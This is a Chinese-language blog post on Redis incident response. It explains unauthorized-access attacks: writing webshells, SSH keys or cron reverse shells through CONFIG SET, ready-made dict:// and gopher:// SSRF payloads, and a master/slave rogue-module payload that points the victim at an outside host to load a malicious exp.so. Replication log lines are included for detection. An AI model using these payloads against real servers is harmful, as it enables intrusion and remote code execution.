Redis应急

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
知攻知防
redis未授权访问
Redis主要的攻击手法:防火墙没有配置Redis服务使其直接映射到公网,同时没有开启密码认证(redis.config中设置requirepass),同时高版本没有开启保护模式就会导致redis未授权访问,导致任意用户都可以操作redis服务,也就是redis未授权访问
redis常用命令:
1 | config set dir /root/redis 设置保存目录 |
通过未授权访问设置保存目录为web目录设置文件名即可写入shell,设置保存目录为~/ssh设置文件名即可写入ssh密钥链接服务器,设置目录为/var/spool/cron设置文件名即可写入计划任务反弹shell
redis写文件连招:
1 | redis-cli -h IP #连接 |
当然了一般是不能直接链接成功的需要配合SSRF+伪协议来打
dict
写webshell:?url=dict://ip:6380/info探测是否设置口令
url=dict://ip:6380/config:set:dir:/var/www/html设置写入文件的位置为web目录
url=dict://ip:6380/config:set:dbfilename:webshell.php设置写入文件的文件名
GET /ssrf/ssrf.php?url=dict://192.168.124.153:6380/set:webshell:”“写入一个含有webshell的键(也就是写入webshell)
Gopher
工具:[https://github.com/firebroo/sec_tools/tree/master/](https://github.com/firebroo/sec_tools/tree/master/)Gopher+主从复制
主从复制原理: redis 4.x之后更新了新增模块功能,通过外部扩展,可以实现在redis中实现一个新的redis命令,可以通过c语言写一个恶意so让其加载工具:https://github.com/n0b0dyCN/redis-rogue-server
设置redis备份路径
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit |
生成一个exp.so,设置主从关系
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%25205i781963p2.yicp.fun%252058265%250d%250aquit |
加载模块
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit |
关闭主从同步
1 | gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit |
redis主从复制日志:
日志需手动开启:redis.conf中修改logfile的值修改为"日志路径"设置主节点:
1 | 419:S 31 Jul 2023 05:34:33.173 * REPLICAOF 192.168.100.20:8888 enabled (user request from 'id=6 addr=192.168.200.2:64339 fd=7 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=48 qbuf-free=32720 obl=0 oll=0 omem=0 events=r cmd=slaveof') |
成功加载exp.so
1 | 419:S 31 Jul 2023 05:34:35.791 * Connecting to MASTER 192.168.100.20:8888 |
设置主节点失败(企图攻击)
1 | 419:S 31 Jul 2023 05:33:15.065 * REPLICAOF 192.168.100.13:8888 enabled (user request from 'id=3 addr=192.168.200.2:64289 fd=7 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=48 qbuf-free=32720 obl=0 oll=0 omem=0 events=r cmd=slaveof') |
- 标题: Redis应急
- 作者: S1naG0u
- 创建于 : 2025-07-09 10:13:12
- 更新于 : 2025-08-17 02:25:29
- 链接: https://s1nag0u.github.io/2025/07/09/Redis应急/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。